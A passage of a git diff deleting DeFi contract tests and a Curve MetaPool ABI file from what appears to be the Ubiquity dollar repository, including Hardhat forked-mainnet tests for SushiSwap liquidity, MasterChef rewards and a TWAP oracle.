expect(coins[1].toString()).to.equal(curve3CrvToken); - }); - it("should return a list of the swappable underlying coins within a pool", async () => { - // Get a list of the swappable underlying coins within a pool. - const underCoins = await curvePoolFactory.get_underlying_coins(metaPool.address); - expect(underCoins[0].toString()).to.equal(uAD.address); - expect(underCoins[1].toString()).to.equal(DAI); - expect(underCoins[2].toString()).to.equal(USDC); - expect(underCoins[3].toString()).to.equal(USDT); - }); - it("should a list of decimal places for each coin within a pool.", async () => { - // Get a list of decimal places for each coin within a pool. - const decimalCoins = await curvePoolFactory.get_underlying_decimals(metaPool.address); - expect(decimalCoins[0]).to.equal(18); - expect(decimalCoins[1]).to.equal(18); - expect(decimalCoins[2]).to.equal(6); - expect(decimalCoins[3]).to.equal(6); - }); - it("should convert coin addresses into indices for use with pool methods.", async () => { - // Convert coin addresses into indices for use with pool methods. - const indices = await curvePoolFactory.get_coin_indices(metaPool.address, DAI, USDT); - expect(indices[2]).to.be.true; - expect(indices[0]).to.equal(1); - expect(indices[1]).to.equal(3); - }); - it("should get available balances for each underlying coin within a pool.", async () => { - // Get available balances for each coin within a pool. - const balances = await curvePoolFactory.get_underlying_balances(metaPool.address); - expect(balances[0]).to.equal(ethers.utils.parseEther("10000")); - expect(balances[1]).to.equal("1448133382413680542224"); - expect(balances[2]).to.equal("5103950291"); - expect(balances[3]).to.equal("3623739270"); - }); - it("should get the exchange rates between coins and underlying coins within a pool.", async () => { - // Get the exchange rates between coins and underlying coins within a pool, normalized to a 1e18 precision. - const rates = await curvePoolFactory.get_rates(metaPool.address); - expect(rates[0]).to.equal(ethers.utils.parseEther("1")); - expect(rates[1]).to.equal(ethers.utils.parseEther("1.017504843248071274")); - }); - it("should get virtual price.", async () => { - // Getter virtual price. - const virtPrice = await metaPool.get_virtual_price(); - expect(virtPrice).to.equal(ethers.utils.parseEther("1")); - }); - }); -}); diff --git a/packages/contracts/dollar/test/MetaPoolABI.json b/packages/contracts/dollar/test/MetaPoolABI.json deleted file mode 100644 index b09793708..000000000 --- a/packages/contracts/dollar/test/MetaPoolABI.json +++ /dev/null @@ -1,582 +0,0 @@ -[ - { - "name": "Transfer", - "inputs": [ - { "type": "address", "name": "sender", "indexed": true }, - { "type": "address", "name": "receiver", "indexed": true }, - { "type": "uint256", "name": "value", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "Approval", - "inputs": [ - { "type": "address", "name": "owner", "indexed": true }, - { "type": "address", "name": "spender", "indexed": true }, - { "type": "uint256", "name": "value", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "TokenExchange", - "inputs": [ - { "type": "address", "name": "buyer", "indexed": true }, - { "type": "int128", "name": "sold_id", "indexed": false }, - { "type": "uint256", "name": "tokens_sold", "indexed": false }, - { "type": "int128", "name": "bought_id", "indexed": false }, - { "type": "uint256", "name": "tokens_bought", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "TokenExchangeUnderlying", - "inputs": [ - { "type": "address", "name": "buyer", "indexed": true }, - { "type": "int128", "name": "sold_id", "indexed": false }, - { "type": "uint256", "name": "tokens_sold", "indexed": false }, - { "type": "int128", "name": "bought_id", "indexed": false }, - { "type": "uint256", "name": "tokens_bought", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "AddLiquidity", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256[2]", "name": "token_amounts", "indexed": false }, - { "type": "uint256[2]", "name": "fees", "indexed": false }, - { "type": "uint256", "name": "invariant", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RemoveLiquidity", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256[2]", "name": "token_amounts", "indexed": false }, - { "type": "uint256[2]", "name": "fees", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RemoveLiquidityOne", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256", "name": "token_amount", "indexed": false }, - { "type": "uint256", "name": "coin_amount", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RemoveLiquidityImbalance", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256[2]", "name": "token_amounts", "indexed": false }, - { "type": "uint256[2]", "name": "fees", "indexed": false }, - { "type": "uint256", "name": "invariant", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "CommitNewAdmin", - "inputs": [ - { "type": "uint256", "name": "deadline", "indexed": true }, - { "type": "address", "name": "admin", "indexed": true } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "NewAdmin", - "inputs": [{ "type": "address", "name": "admin", "indexed": true }], - "anonymous": false, - "type": "event" - }, - { - "name": "CommitNewFee", - "inputs": [ - { "type": "uint256", "name": "deadline", "indexed": true }, - { "type": "uint256", "name": "fee", "indexed": false }, - { "type": "uint256", "name": "admin_fee", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "NewFee", - "inputs": [ - { "type": "uint256", "name": "fee", "indexed": false }, - { "type": "uint256", "name": "admin_fee", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RampA", - "inputs": [ - { "type": "uint256", "name": "old_A", "indexed": false }, - { "type": "uint256", "name": "new_A", "indexed": false }, - { "type": "uint256", "name": "initial_time", "indexed": false }, - { "type": "uint256", "name": "future_time", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "StopRampA", - "inputs": [ - { "type": "uint256", "name": "A", "indexed": false }, - { "type": "uint256", "name": "t", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "name": "initialize", - "outputs": [], - "inputs": [ - { "type": "string", "name": "_name" }, - { "type": "string", "name": "_symbol" }, - { "type": "address", "name": "_coin" }, - { "type": "uint256", "name": "_decimals" }, - { "type": "uint256", "name": "_A" }, - { "type": "uint256", "name": "_fee" }, - { "type": "address", "name": "_admin" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 435044 - }, - { - "name": "decimals", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 291 - }, - { - "name": "transfer", - "outputs": [{ "type": "bool", "name": "" }], - "inputs": [ - { "type": "address", "name": "_to" }, - { "type": "uint256", "name": "_value" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 74743 - }, - { - "name": "transferFrom", - "outputs": [{ "type": "bool", "name": "" }], - "inputs": [ - { "type": "address", "name": "_from" }, - { "type": "address", "name": "_to" }, - { "type": "uint256", "name": "_value" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 111385 - }, - { - "name": "approve", - "outputs": [{ "type": "bool", "name": "" }], - "inputs": [ - { "type": "address", "name": "_spender" }, - { "type": "uint256", "name": "_value" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 37824 - }, - { - "name": "admin_fee", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 441 - }, - { - "name": "A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 5529 - }, - { - "name": "A_precise", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 5491 - }, - { - "name": "get_virtual_price", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 1016457 - }, - { - "name": "calc_token_amount", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "bool", "name": "_is_deposit" } - ], - "stateMutability": "view", - "type": "function", - "gas": 4021232 - }, - { - "name": "add_liquidity", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_min_mint_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "add_liquidity", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_min_mint_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "get_dy", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" } - ], - "stateMutability": "view", - "type": "function", - "gas": 2454975 - }, - { - "name": "get_dy_underlying", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" } - ], - "stateMutability": "view", - "type": "function", - "gas": 2457373 - }, - { - "name": "exchange", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "exchange", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "exchange_underlying", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "exchange_underlying", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "uint256[2]", "name": "_min_amounts" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "uint256[2]", "name": "_min_amounts" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_imbalance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_max_burn_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_imbalance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_max_burn_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "calc_withdraw_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" } - ], - "stateMutability": "view", - "type": "function", - "gas": 5258 - }, - { - "name": "remove_liquidity_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" }, - { "type": "uint256", "name": "_min_received" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" }, - { "type": "uint256", "name": "_min_received" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "ramp_A", - "outputs": [], - "inputs": [ - { "type": "uint256", "name": "_future_A" }, - { "type": "uint256", "name": "_future_time" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 152224 - }, - { - "name": "stop_ramp_A", - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "function", - "gas": 148985 - }, - { - "name": "admin_balances", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "uint256", "name": "i" }], - "stateMutability": "view", - "type": "function", - "gas": 3511 - }, - { - "name": "withdraw_admin_fees", - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "function", - "gas": 2597385 - }, - { - "name": "admin", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2051 - }, - { - "name": "coins", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [{ "type": "uint256", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 2190 - }, - { - "name": "balances", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "uint256", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 2220 - }, - { - "name": "fee", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2141 - }, - { - "name": "base_virtual_price", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2171 - }, - { - "name": "base_cache_updated", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2201 - }, - { - "name": "initial_A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2231 - }, - { - "name": "future_A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2261 - }, - { - "name": "initial_A_time", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2291 - }, - { - "name": "future_A_time", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2321 - }, - { - "name": "name", - "outputs": [{ "type": "string", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 8753 - }, - { - "name": "symbol", - "outputs": [{ "type": "string", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 7806 - }, - { - "name": "balanceOf", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "address", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 2626 - }, - { - "name": "allowance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "arg0" }, - { "type": "address", "name": "arg1" } - ], - "stateMutability": "view", - "type": "function", - "gas": 2871 - }, - { - "name": "totalSupply", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2471 - } -] diff --git a/packages/contracts/dollar/test/SushiSwapPool.test.ts b/packages/contracts/dollar/test/SushiSwapPool.test.ts deleted file mode 100644 index 96a2ac723..000000000 --- a/packages/contracts/dollar/test/SushiSwapPool.test.ts +++ /dev/null @@ -1,265 +0,0 @@ -import { Signer, BigNumber, ContractFactory } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { expect } from "chai"; - -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; -import { ISushiMasterChef } from "../artifacts/types/ISushiMasterChef"; -import { IUniswapV2Factory } from "../artifacts/types/IUniswapV2Factory"; -import { IUniswapV2Pair } from "../artifacts/types/IUniswapV2Pair"; -import { IUniswapV2Router02 } from "../artifacts/types/IUniswapV2Router02"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { mineNBlock, resetFork } from "./utils/hardhatNode"; - -/* - SUSHISWAP Glossary - SushiSwap is a Uniswap v2 fork with the execption of the setFeeTo() - that was called in the deployment setting 0.05% of the fee to the SushiMaker - * SushiMaker will receive LP tokens from people trading on SushiSwap. - Burn the LP tokens for the provided token pair and swap tokens for sushi - finally send the sushi to the bar - * SushiBar cpeople can enter with SUSHI, receive xSUSHI and later leave - with even more SUSHI. - * SushiRoll contract a migrator is provided, so people can easily move liquidity - from Uniswap to SushiSwap. - * SushiRoll contract a migrator is provided, so people can easily move liquidity - from Uniswap to SushiSwap. - * MasterChef enables the minting of new SUSHI token. It's the only way to create SUSHI - This is possible by staking LP tokens inside the MasterChef. The higher the - allocation points of a liquidity pool, the more SUSHI one receives for staking its LP tokens. -*/ - -const sushiToken = "0x6B3595068778DD592e39A122f4f5a5cF09C90fE2"; // sushi token -const USDTToken = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; // USDT -const factoryAdr = "0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac"; // SushiV2Factory mainnet -const routerAdr = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"; // SushiV2Router02 -const masterChefAdr = "0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd"; // MasterChef -const firstPair = "0x680A025Da7b1be2c204D7745e809919bCE074026"; // SushiSwap SUSHI/USDT LP (SLP) -const reserveA = "1518287028779922369700"; -const reserveB = "15598625844"; -const nbPairs = 1290; - -describe("SushiSwapPool", () => { - let admin: Signer; - let secondAccount: Signer; - let manager: UbiquityAlgorithmicDollarManager; - let sushiUGOVPool: SushiSwapPool; - let poolContract: IUniswapV2Pair; - let sushiFactory: ContractFactory; - let router: IUniswapV2Router02; - let factory: IUniswapV2Factory; - let sushiUSDTPair: IUniswapV2Pair; - let uGOVPair: string; - let uAD: UbiquityAlgorithmicDollar; - let uGOV: UbiquityGovernance; - let sushiMultiSig: string; - beforeEach(async () => { - await resetFork(12592661); - ({ sushiMultiSig } = await getNamedAccounts()); - - [admin, secondAccount] = await ethers.getSigners(); - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - router = (await ethers.getContractAt("IUniswapV2Router02", routerAdr)) as IUniswapV2Router02; - factory = (await ethers.getContractAt("IUniswapV2Factory", factoryAdr)) as IUniswapV2Factory; - sushiUSDTPair = (await ethers.getContractAt("IUniswapV2Pair", firstPair)) as IUniswapV2Pair; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.setDollarTokenAddress(uAD.address); - - const UGOV = await ethers.getContractFactory("UbiquityGovernance"); - uGOV = (await UGOV.deploy(manager.address)) as UbiquityGovernance; - await manager.setGovernanceTokenAddress(uGOV.address); - sushiFactory = await ethers.getContractFactory("SushiSwapPool"); - sushiUGOVPool = (await sushiFactory.deploy(manager.address)) as SushiSwapPool; - - const mintings = [await secondAccount.getAddress()].map(async (signer): Promise => { - await uAD.mint(signer, ethers.utils.parseEther("10000")); - await uGOV.mint(signer, ethers.utils.parseEther("1000")); - }); - await Promise.all(mintings); - uGOVPair = await sushiUGOVPool.pair(); - poolContract = (await ethers.getContractAt("IUniswapV2Pair", uGOVPair)) as IUniswapV2Pair; - }); - - describe("SushiSwap Factory", () => { - it(`should get ${nbPairs} pairs`, async () => { - const allPairsLength: BigNumber = await factory.allPairsLength(); - - expect(allPairsLength).to.be.equal(nbPairs); - }); - it("should get first pair 0xB4e...", async () => { - const pair = await factory.allPairs(0); - expect(pair).to.be.equal(firstPair); - }); - }); - - describe("SushiSwap first Pair", () => { - it("should get factory address from first pair", async () => { - const pairFactoryAddress = await sushiUSDTPair.factory(); - expect(pairFactoryAddress).to.be.equal(factory.address); - }); - it("should get tokens, reserves of first pair", async () => { - const token0 = await sushiUSDTPair.token0(); - const token1 = await sushiUSDTPair.token1(); - const [reserve0, reserve1] = await sushiUSDTPair.getReserves(); - - expect(token0).to.be.equal(sushiToken); - expect(token1).to.be.equal(USDTToken); - expect(reserve0).to.be.equal(reserveA); - expect(reserve1).to.be.equal(reserveB); - }); - }); - - describe("SushiSwap", () => { - it("should create pool", async () => { - const token0 = await poolContract.token0(); - const token1 = await poolContract.token1(); - const [reserve0, reserve1] = await poolContract.getReserves(); - - if (token0 === uAD.address) { - expect(token0).to.be.equal(uAD.address); - expect(token1).to.be.equal(uGOV.address); - } else { - expect(token0).to.be.equal(uGOV.address); - expect(token1).to.be.equal(uAD.address); - } - expect(reserve0).to.be.equal("0"); - expect(reserve1).to.be.equal("0"); - }); - - it("should provide liquidity to pool", async () => { - let [reserve0, reserve1] = await poolContract.getReserves(); - expect(reserve0).to.equal(0); - expect(reserve1).to.equal(0); - - // If the liquidity is to be added to an ERC-20/ERC-20 pair, use addLiquidity. - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - // must allow to transfer token - await uAD.connect(secondAccount).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(secondAccount).approve(routerAdr, ethers.utils.parseEther("1000")); - const totSupplyBefore = await poolContract.totalSupply(); - expect(totSupplyBefore).to.equal(0); - await expect( - router - .connect(secondAccount) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - await secondAccount.getAddress(), - blockBefore.timestamp + 100 - ) - ) - .to.emit(poolContract, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, ethers.constants.AddressZero, 1000); - - [reserve0, reserve1] = await poolContract.getReserves(); - if ((await poolContract.token0()) === uAD.address) { - expect(reserve0).to.equal(ethers.utils.parseEther("10000")); - expect(reserve1).to.equal(ethers.utils.parseEther("1000")); - } else { - expect(reserve1).to.equal(ethers.utils.parseEther("10000")); - expect(reserve0).to.equal(ethers.utils.parseEther("1000")); - } - - const balance = await poolContract.balanceOf(await secondAccount.getAddress()); - - const totSupply = await poolContract.totalSupply(); - // a small amount is burned for the first deposit - // see https://uniswap.org/whitepaper.pdf page 9 second paragraph - expect(balance).to.equal(totSupply.sub(BigNumber.from(1000))); - }); - - it("should not create pool if it exist ", async () => { - const allPairsLength = await factory.allPairsLength(); - const newSushi = (await sushiFactory.deploy(manager.address)) as SushiSwapPool; - const allPairsLengthAfterDeploy = await factory.allPairsLength(); - expect(allPairsLength).to.equal(allPairsLengthAfterDeploy); - expect(await newSushi.pair()).to.equal(await sushiUGOVPool.pair()); - }); - - it("should add pool and earn sushi", async () => { - const secondAccAdr = await secondAccount.getAddress(); - // must allow to transfer token - await uAD.connect(secondAccount).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(secondAccount).approve(routerAdr, ethers.utils.parseEther("1000")); - // If the liquidity is to be added to an ERC-20/ERC-20 pair, use addLiquidity. - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - await router - .connect(secondAccount) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - secondAccAdr, - blockBefore.timestamp + 100 - ); - const balanceBefore = await poolContract.balanceOf(secondAccAdr); - const masterChef = (await ethers.getContractAt("ISushiMasterChef", masterChefAdr)) as ISushiMasterChef; - const poolLengthBefore = await masterChef.poolLength(); - const owner = await masterChef.owner(); - expect(owner).to.equal("0x9a8541Ddf3a932a9A922B607e9CF7301f1d47bD1"); - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [sushiMultiSig], - }); - await secondAccount.sendTransaction({ - to: sushiMultiSig, - value: ethers.utils.parseEther("2.0"), - }); - - const totAllocPoint = await masterChef.totalAllocPoint(); - const sushiChef = ethers.provider.getSigner(sushiMultiSig); - // insert uGOV-UAD as onsen pair we will get half of all the sushi reward - const blockNum = await ethers.provider.getBlockNumber(); - await masterChef.connect(sushiChef).add(totAllocPoint, uGOVPair, true); - const totAllocPointAfterAdd = await masterChef.totalAllocPoint(); - expect(totAllocPointAfterAdd).to.equal(totAllocPoint.mul(BigNumber.from(2))); - const poolLengthAfter = await masterChef.poolLength(); - // ugov pid should be the last index - const uGOVpid = poolLengthAfter.sub(BigNumber.from(1)); - const pooluGOV = await masterChef.poolInfo(uGOVpid); - - expect(poolLengthAfter).to.equal(poolLengthBefore.add(BigNumber.from(1))); - expect(pooluGOV.lpToken).to.equal(uGOVPair); - expect(pooluGOV.allocPoint).to.equal(totAllocPoint); - expect(pooluGOV.lastRewardBlock).to.equal(blockNum + 1); - expect(pooluGOV.accSushiPerShare).to.equal(0); - - // deposit lp tokens - // must allow to transfer LP token - await poolContract.connect(secondAccount).approve(masterChefAdr, balanceBefore); - - // deposit all LP token - await masterChef.connect(secondAccount).deposit(uGOVpid, balanceBefore); - const uInfo = await masterChef.userInfo(uGOVpid, secondAccAdr); - expect(uInfo.amount).to.equal(balanceBefore); - expect(uInfo.rewardDebt).to.equal(0); - - const balanceAfter = await poolContract.balanceOf(secondAccAdr); - expect(balanceAfter).to.equal(0); - // pending sushi reward - let pendingReward = await masterChef.pendingSushi(uGOVpid, secondAccAdr); - expect(pendingReward).to.equal(0); - - // after one block we should be able to retrieve sushi - await mineNBlock(1); - pendingReward = await masterChef.pendingSushi(uGOVpid, secondAccAdr); - const sushiPerBlock = await masterChef.sushiPerBlock(); - // we have half of the total allocation point so we are entitled to half the sushi per block - - // take into consideration precision - expect(pendingReward).to.be.lte(sushiPerBlock); - expect(pendingReward).to.be.gte(sushiPerBlock.mul(9999).div(20000)); - }); - }); -}); diff --git a/packages/contracts/dollar/test/TWAPOracle.test.ts b/packages/contracts/dollar/test/TWAPOracle.test.ts deleted file mode 100644 index 9f29fb82c..000000000 --- a/packages/contracts/dollar/test/TWAPOracle.test.ts +++ /dev/null @@ -1,359 +0,0 @@ -import { BigNumber, ContractTransaction, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { describe, it } from "mocha"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { expect } from "./setup"; -import { mineBlock, resetFork } from "./utils/hardhatNode"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { ICurveFactory } from "../artifacts/types/ICurveFactory"; -import { swap3CRVtoUAD, swapUADto3CRV, swapUADtoDAI } from "./utils/swap"; - -describe("TWAPOracle", () => { - let metaPool: IMetaPool; - let manager: UbiquityAlgorithmicDollarManager; - let admin: Signer; - let secondAccount: Signer; - let uAD: UbiquityAlgorithmicDollar; - let DAI: string; - let curvePoolFactory: ICurveFactory; - let curveFactory: string; - let curve3CrvBasePool: string; - let curve3CrvToken: string; - let crvToken: ERC20; - let daiToken: ERC20; - let curveWhaleAddress: string; - let curveWhale: Signer; - let twapOracle: TWAPOracle; - - beforeEach(async () => { - ({ - DAI, - - curveFactory, - curve3CrvBasePool, - curve3CrvToken, - curveWhaleAddress, - } = await getNamedAccounts()); - [admin, secondAccount] = await ethers.getSigners(); - await resetFork(12592661); - const Manager = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await Manager.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - - // mint 10000 uAD each for admin and secondAccount - const mintings = [await admin.getAddress(), await secondAccount.getAddress(), manager.address].map( - async (signer): Promise => uAD.connect(admin).mint(signer, ethers.utils.parseEther("10000")) - ); - await Promise.all(mintings); - - await manager.connect(admin).setDollarTokenAddress(uAD.address); - - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - daiToken = (await ethers.getContractAt("ERC20", DAI)) as ERC20; - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - // mint uad for whale - await uAD.connect(admin).mint(curveWhaleAddress, ethers.utils.parseEther("10")); - - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - - await manager.connect(admin).deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const TWAPOracleDeployment = await ethers.getContractFactory("TWAPOracle"); - twapOracle = (await TWAPOracleDeployment.deploy(metaPoolAddr, uAD.address, curve3CrvToken)) as TWAPOracle; - - await manager.connect(admin).setTwapOracleAddress(twapOracle.address); - - curvePoolFactory = (await ethers.getContractAt("ICurveFactory", curveFactory)) as ICurveFactory; - }); - describe("Oracle", () => { - it("should return correct price of 1 usd at pool init", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - const oraclePriceuAD = await twapOracle.consult(uAD.address); - const oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - 